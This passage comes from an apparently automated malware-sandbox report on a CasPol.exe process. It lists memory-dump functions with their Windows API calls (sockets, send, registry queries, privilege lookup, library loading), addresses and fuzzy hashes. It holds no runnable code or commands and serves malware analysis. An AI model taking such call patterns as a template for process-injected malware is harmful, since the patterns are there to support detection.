Instruction Fuzzy Hash: BC218E76600704EFE720CF55DC85F67F7E8EF44620F09856AE9458B251D760E809CA79

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B1F02 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

OpenFileMappingW.KERNELBASE(?,?), ref: 1F9B1F6D

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: FileMappingOpen
String ID:
API String ID: 1680863896-0
Opcode ID: 6badf11b768fce55a5382cd1cca1f1d05caa842ebcdbdbc5fbab88c7f310f2fd
Instruction ID: 83c11b68983665a3b643eb82992c5d574e1d3ea8a81da605e557ac607fe2b091
Opcode Fuzzy Hash: 6badf11b768fce55a5382cd1cca1f1d05caa842ebcdbdbc5fbab88c7f310f2fd
Instruction Fuzzy Hash: E6219DB1504240AFE711DF66CD85F56FBE8EF04724F08856EED488B281D375E848CAB6

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDAB4C Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(?,8EDCC860,00000000,?,?,?,?,?,?,?,?,73073C68), ref: 1CFDABB8

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 6ecff6491add4e8e36d7f1265bcd2a351a9df312e227ec076328e9d17d1bc1a0
Instruction ID: 545c6ec49ff78de9ebd056667dd1a0b7c27186bb9dbfc7e2ec6ff7c4ab58295a
Opcode Fuzzy Hash: 6ecff6491add4e8e36d7f1265bcd2a351a9df312e227ec076328e9d17d1bc1a0
Instruction Fuzzy Hash: FA21D1725093C09FDB028B25DC91792BFA4AF03320F0D84DAE8858F263D265A909CB72

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDA309 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(?,8EDCC860,00000000,?,?,?,?,?,?,?,?,73073C68), ref: 1CFDA378

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: c27223848a1065668e4f324e657320a92d77d97e88e699c86a1d08539155c30c
Instruction ID: c6400d58ab1b2391c513ba85babdcd1e0a5bdb63f5139385e8cd14145246f758
Opcode Fuzzy Hash: c27223848a1065668e4f324e657320a92d77d97e88e699c86a1d08539155c30c
Instruction Fuzzy Hash: 5621AE755093C09FD7028B25CC85B52BFB4EF02220F1985EBDC858F6A3D266A909CB72

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B2002 Relevance: 1.6, APIs: 1, Instructions: 67fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNEL32 ref: 1F9B2076

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: ac39b9bb633aa4408fa8444beb8b4afcff07990b95059c4cc9e7be5e3bb5fff7
Instruction ID: 9393a33b7949e5bdd683ecccadcd5f801ae8e01d7c59ab63875f7ed8d21bc124
Opcode Fuzzy Hash: ac39b9bb633aa4408fa8444beb8b4afcff07990b95059c4cc9e7be5e3bb5fff7
Instruction Fuzzy Hash: 2A21AC71500204AFE722DF65DD85F96FBE8EF08724F04859EEA848B291D375E508CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B194A Relevance: 1.6, APIs: 1, Instructions: 67networkCOMMON

Download Yara Rule

APIs

WSASocketW.WS2_32(?,?,?,?,?), ref: 1F9B19B6

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: Socket
String ID:
API String ID: 38366605-0
Opcode ID: e58b9183143e6f621217a0cdb110cc93add6f00b47dcc8ced2b7b32d64956781
Instruction ID: 7acdb286d94f5bfd6d4ce2c5c04e5e2e678ba3165cf533478df5f6898febea8e
Opcode Fuzzy Hash: e58b9183143e6f621217a0cdb110cc93add6f00b47dcc8ced2b7b32d64956781
Instruction Fuzzy Hash: 0B21CFB1500340AFE721DF65DD85F56FBE8EF08724F08856EEA848A291D375A448CB75

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B374E Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 1F9B37CE

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 1bc073e1cdbdf8a98e20483e1ca55a9a0700230ce2da6af64e07a999b44cbc86
Instruction ID: c376dbf24adb66a0221a1017111bba4e50c3561eaa11bb510f40532c63aa3b71
Opcode Fuzzy Hash: 1bc073e1cdbdf8a98e20483e1ca55a9a0700230ce2da6af64e07a999b44cbc86
Instruction Fuzzy Hash: 05216D764087C0AFDB128F61D854A92BFF4EF0A320F0985DAE9C58F163D265A419DB62

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDAE12 Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1CFDAE76

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: d8bc3a93cd0027157ff9c84c1a7c693bff8139c4fba4d9c920941f869f77a1c1
Instruction ID: 7e7d815d75e6c13fd5e4869707512db15e45aa1197f8f0c02efc758e4e5335f8
Opcode Fuzzy Hash: d8bc3a93cd0027157ff9c84c1a7c693bff8139c4fba4d9c920941f869f77a1c1
Instruction Fuzzy Hash: 8811AF71600305AFEB10CF56DC85FA6B7E8EF44610F08846AE944CB251D774E808CA75

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B29D6 Relevance: 1.6, APIs: 1, Instructions: 66registryCOMMON

Download Yara Rule

APIs

RegOpenCurrentUser.KERNEL32(?,00000EA4), ref: 1F9B2A39

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: CurrentOpenUser
String ID:
API String ID: 1571386571-0
Opcode ID: 7fdb51e06b600a01e0663d2037afb94f97b8b5c31d338cb3e6ad232cffc33963
Instruction ID: c9cfc3ab282c6fa6a324961f881f26e4bda2716ed9da7de3f2071cc571912a08
Opcode Fuzzy Hash: 7fdb51e06b600a01e0663d2037afb94f97b8b5c31d338cb3e6ad232cffc33963
Instruction Fuzzy Hash: 7911BE71500304AFF721AB65DD45F6AFBACEF44720F1485AAED449F281D374A4098AB6

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDA873 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 1CFDA8E2

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 81bed597081400dbc37cb1c723d9fb9036d304762ef8f410223310f4f0fe9a7c
Instruction ID: 8d20ebd224111b0d141fec5d0f4beea0e8aaee75e5724a9a73016396d84ec41c
Opcode Fuzzy Hash: 81bed597081400dbc37cb1c723d9fb9036d304762ef8f410223310f4f0fe9a7c
Instruction Fuzzy Hash: BD2184726053809FE712CF25DC45B62BFE8EF46610F0984AAED85CB252D265E809CB75

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDB362 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

MkParseDisplayName.OLE32(?,00000EA4,?,?), ref: 1CFDB3E6

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: DisplayNameParse
String ID:
API String ID: 3580041360-0
Opcode ID: ba6f63a2f6ece30269d2820679a7028658fde2e9f77d8662b730c1f12457d1a7
Instruction ID: cffb63e1cbf8a004a7394e821035d6da1172c93108c5653423f4c5419f8dcba6
Opcode Fuzzy Hash: ba6f63a2f6ece30269d2820679a7028658fde2e9f77d8662b730c1f12457d1a7
Instruction Fuzzy Hash: D91129725083806FD3118B25DC41F72BFB8EF86620F05819AED488B682D234B919CBB6

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B2BDA Relevance: 1.6, APIs: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegNotifyChangeKeyValue.KERNEL32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B2C44

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: ChangeNotifyValue
String ID:
API String ID: 3933585183-0
Opcode ID: c47758cf36994f1533926e769910b2a7abd006d2549a8364d78ce9f9a1164f57
Instruction ID: cc3ea9b79907bba86e57955733f43bfaf53fc266d094678b680020b513343d85
Opcode Fuzzy Hash: c47758cf36994f1533926e769910b2a7abd006d2549a8364d78ce9f9a1164f57
Instruction Fuzzy Hash: 7711AC71500204AFEB22DFA5DC84F96FBECEF44720F0489AAE9449F281D374A409CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B1C66 Relevance: 1.6, APIs: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B1CD8

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: e4e5dca1774eed095401ab89996b21b3f0b208a421225e80025dfd953cc989da
Instruction ID: 9b757cd229d72ec42e0b7cb7e47f6d34fd47adee8c4c825bc7d69fd3c086dcf9
Opcode Fuzzy Hash: e4e5dca1774eed095401ab89996b21b3f0b208a421225e80025dfd953cc989da
Instruction Fuzzy Hash: 6D119AB2600704AFE721DF55DC84F56FBECEF44A10F14856EE9458A291D760F448CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B30AC Relevance: 1.6, APIs: 1, Instructions: 64networkCOMMON

Download Yara Rule

APIs

GetNetworkParams.IPHLPAPI(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B3124

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: NetworkParams
String ID:
API String ID: 2134775280-0
Opcode ID: 57551b885f51e7b5322bb6838bd43d095d11a9a9c53cf6514f77299907cffb6f
Instruction ID: 1853bf1f313501f976018f18e59f595e54c0f7a5e892cdab1cee775336111790
Opcode Fuzzy Hash: 57551b885f51e7b5322bb6838bd43d095d11a9a9c53cf6514f77299907cffb6f
Instruction Fuzzy Hash: BD119371509384AFE712CB55DC85F56FFACEF46720F08809AE9449F292C364A909CB66

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B247E Relevance: 1.6, APIs: 1, Instructions: 64timeCOMMON

Download Yara Rule

APIs

GetProcessTimes.KERNEL32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B24DD

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: ProcessTimes
String ID:
API String ID: 1995159646-0
Opcode ID: 3ef1c04b95b19a68fdf9697ac595061291db308abadea4cca89ccb0e4c7f323c
Instruction ID: a77322222559abfdfe7a4d57e654bd0c40c22fffa580e0fb19bb7e90af4ff97a
Opcode Fuzzy Hash: 3ef1c04b95b19a68fdf9697ac595061291db308abadea4cca89ccb0e4c7f323c
Instruction Fuzzy Hash: CB11D072504304AFEB22CFA5DC80F56FBA8EF84720F0484AEEA458B691C375E414CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B2826 Relevance: 1.6, APIs: 1, Instructions: 63networkCOMMON

Download Yara Rule

APIs

WSAEventSelect.WS2_32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B288A

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: EventSelect
String ID:
API String ID: 31538577-0
Opcode ID: 3177eef8ab935ecc2400b28172875d6dc260b245c8b8abdadf3b84c6f93865dc
Instruction ID: a610999f2f7cc456f3dac330c41e71200c622d9069949dd39baf3cd182cb8dd3
Opcode Fuzzy Hash: 3177eef8ab935ecc2400b28172875d6dc260b245c8b8abdadf3b84c6f93865dc
Instruction Fuzzy Hash: 85116072504204AFE711DBA5DC84F96FBDCEF44720F0485AAE9449F281D774E509CAB5

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDAD2A Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1CFDAD86

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 1a13c41bb06b9f329e0ef889d9b5ca43c7cc586bdc35a81c2d5f47de01015294
Instruction ID: 783a3ad70a2ff647e8bcedb87634c19fcb570ced97a6f3fe9efb4cac70ed62cc
Opcode Fuzzy Hash: 1a13c41bb06b9f329e0ef889d9b5ca43c7cc586bdc35a81c2d5f47de01015294
Instruction Fuzzy Hash: 6711B272500300AFEB11CF65DC85F66FBA8EF44720F08846AE9458B251D775E819CB76

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B096E Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B09CD

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 3119230d8484c3d81aaab4b594c719e6d3d1efc7402a81b35bc610311284019d
Instruction ID: 622d924ea38e44c8ad4505e08bf55f5d5f884eea56b5fd9be27ee202b0f777e6
Opcode Fuzzy Hash: 3119230d8484c3d81aaab4b594c719e6d3d1efc7402a81b35bc610311284019d
Instruction Fuzzy Hash: 5011E272500304AFEB21DF95DC84F56FBA8EF44710F04885EEA489F291C371A418CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 1FA76638 Relevance: 1.6, Strings: 1, Instructions: 309COMMON

Download Yara Rule

Strings

:@Mr, xrefs: 1FA76981

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID: :@Mr
API String ID: 0-898919233
Opcode ID: bc66cf1c445284b11e664fb7eae9275a34e857a2221a606c0efad1449a8e382a
Instruction ID: 82a3e13cb56e964165a88551a1bbfaaf3c4bed88e7b14a7e1f7d98f8250ab2fd
Opcode Fuzzy Hash: bc66cf1c445284b11e664fb7eae9275a34e857a2221a606c0efad1449a8e382a
Instruction Fuzzy Hash: AAA1F7B0B002924FFF4597B8C454B6E7BB6DB89700F24857AD109CB385DE6EDD4187A2

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B15DA Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(?,8EDCC860,00000000,?,?,?,?,?,?,?,?,73073C68), ref: 1F9B1638

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: d9327ea92a9c460ad2773680ec880f93ea78709a6f355f4284cd96c70360e3ac
Instruction ID: 21c050b03f14e7f450961c4132833388cc7d6ccb1d7dcc1dee6c47d9a2168156
Opcode Fuzzy Hash: d9327ea92a9c460ad2773680ec880f93ea78709a6f355f4284cd96c70360e3ac
Instruction Fuzzy Hash: E91190756093C09FD7128B65DC84B52BFA8DF06220F0C84EEED858F262C275A859CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B256A Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B25C3

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: ioctlsocket
String ID:
API String ID: 3577187118-0
Opcode ID: 2eb41c27b59992dc44ddcef9270db9b944543eeee3e901ea4aa7a14bdfa9b033
Instruction ID: 5e90798a4e95178920cd49315177e88056d979eda4b73b2ba063ed196bc1962e
Opcode Fuzzy Hash: 2eb41c27b59992dc44ddcef9270db9b944543eeee3e901ea4aa7a14bdfa9b033
Instruction Fuzzy Hash: 2911A371504344AFE721DF55DC84F56FB98EF44720F0484AEE9449F281C775A405CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B23AE Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

shutdown.WS2_32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B2404

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: shutdown
String ID:
API String ID: 2510479042-0
Opcode ID: 4d9fb0fd52810c055fee272d2a87025b46f1fdd0bff8b57aeba3d9bc3398f28f
Instruction ID: 4d1a96b4b929e30f252231ec648e44d2e8b5b9dc4520ce15e68513c06e8b33bf
Opcode Fuzzy Hash: 4d9fb0fd52810c055fee272d2a87025b46f1fdd0bff8b57aeba3d9bc3398f28f
Instruction Fuzzy Hash: DD11AC71504204AFEB22DF65DC84F56FB98EF84B20F1884AAE9449F281D774A409CAB6

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B38C6 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

FindWindowW.USER32(?,?), ref: 1F9B392F

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: FindWindow
String ID:
API String ID: 134000473-0
Opcode ID: 752295c917b7ff5985da526d738c6a87e868cec51c3a360fc22aa4c68b7e3982
Instruction ID: 117f40823568fe82072aa976fdd2a2223a9be6f6270d9fca9aa850cf74807448
Opcode Fuzzy Hash: 752295c917b7ff5985da526d738c6a87e868cec51c3a360fc22aa4c68b7e3982
Instruction Fuzzy Hash: 08118F715083819FD712CB25DC85F52BFA8EF46620F0980DEED858F293D264E849CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B35EE Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetAdaptersAddresses.IPHLPAPI(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B364D

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: AdaptersAddresses
String ID:
API String ID: 2506852604-0
Opcode ID: cfbc6bae3e7c0aafa3b3732accaec50d75a8090e150b0ac700001e8761bf6436
Instruction ID: 94b6b000d48e79270b5e694c0e01e3bd929e5f5cb5c57d76f2fca429da7f0a37
Opcode Fuzzy Hash: cfbc6bae3e7c0aafa3b3732accaec50d75a8090e150b0ac700001e8761bf6436
Instruction Fuzzy Hash: 8911B875900204EFEB218F55DC81F66FBA8EF48B20F08815EEE444A291D361A408CAB6

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDBEBE Relevance: 1.6, APIs: 1, Instructions: 56libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,00000EA4), ref: 1CFDBF27

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e46980f499a33c90ade2fde12b3cb6f44d1bb801754ba042ca5323db3567e7fc
Instruction ID: e634364dff28b18ebf4b01f9a9234282b8fcd191f6aadb82bd53e328946d1431
Opcode Fuzzy Hash: e46980f499a33c90ade2fde12b3cb6f44d1bb801754ba042ca5323db3567e7fc
Instruction Fuzzy Hash: A111E171504304AFF720DF55DD81F66FB98DF44B20F18809AEE485E681D3B5A508CAB6

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDA48A Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,8EDCC860,00000000,?,?,?,?,?,?,?,?,73073C68), ref: 1CFDA4E8

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: a455d13f94fcd10a5ecf5bf84586b1fcecb9334497c606cbe0cf3a8271278340
Instruction ID: 36593ed87f197817dc425b16f66e668f9ef4c24ce90fdc686f19cc099003493a
Opcode Fuzzy Hash: a455d13f94fcd10a5ecf5bf84586b1fcecb9334497c606cbe0cf3a8271278340
Instruction Fuzzy Hash: 25118F714093C0AFD7138B259C85B62BFA4DF47620F0D81DBED858F263D265A819DB72

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B290A Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

RasConnectionNotificationW.RASAPI32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B2963

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: ConnectionNotification
String ID:
API String ID: 1402429939-0
Opcode ID: b0b8ac28b133cac9ba61a7cf61e970f14ee9a53fbfd8b560e7b9a88dd29d1879
Instruction ID: 71ea9d6b870c403af89d2e838223cee4a60e69fa52b066a5d5d4a0b6b39b6b42
Opcode Fuzzy Hash: b0b8ac28b133cac9ba61a7cf61e970f14ee9a53fbfd8b560e7b9a88dd29d1879
Instruction Fuzzy Hash: EF11CE75504304AFEB219B55DD84F66FBA8EF44B20F08809AEE484F281D374A409CAB6

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDA078 Relevance: 1.6, APIs: 1, Instructions: 54networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,?,?), ref: 1CFDA0D5

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: cb88f8a583583191dbc21f04a25a1f3ae75746a8171541c6ba9d040f80f51d53
Instruction ID: 03c092eca7c93b52769fe94a826ebaa184940bca8e221dd6630c9cadcdfefe3e
Opcode Fuzzy Hash: cb88f8a583583191dbc21f04a25a1f3ae75746a8171541c6ba9d040f80f51d53
Instruction Fuzzy Hash: 0F11BF75509380AFDB12CF55DC44B52FFB4EF46220F09849AED848F252C275A818DB72

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDB4E0 Relevance: 1.6, APIs: 1, Instructions: 54comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(?), ref: 1CFDB53C

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: fb493eacf507b708935f81d294f23dc76317a118a02655bb6d992c8fcd789da4
Instruction ID: 53d2e9f6d99c0e06fcc58ec149d77e741f960c70cd0f9bec3dafb077688d60e1
Opcode Fuzzy Hash: fb493eacf507b708935f81d294f23dc76317a118a02655bb6d992c8fcd789da4
Instruction Fuzzy Hash: 99118F715083849FDB12CF25DC84B92BFA4EF42320F0984EADD858F263D275A809CB72

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B30CE Relevance: 1.6, APIs: 1, Instructions: 53networkCOMMON

Download Yara Rule

APIs

GetNetworkParams.IPHLPAPI(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B3124

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: NetworkParams
String ID:
API String ID: 2134775280-0
Opcode ID: 28cfecad6521ff571b688adc97b1ffd1cb1f65426946ec44d40b56e4c6930af3
Instruction ID: f9aea5a029aa6056561df0b28be56c61d38ded34fd75b5b0846ec34a8c0dc6fc
Opcode Fuzzy Hash: 28cfecad6521ff571b688adc97b1ffd1cb1f65426946ec44d40b56e4c6930af3
Instruction Fuzzy Hash: 9C01C071504344AFEB21DF55DC85F66FB9CEF84B20F0880AAEE449F281D374A409CAB6

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDA89A Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 1CFDA8E2

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: LookupPrivilegeValue
String ID:
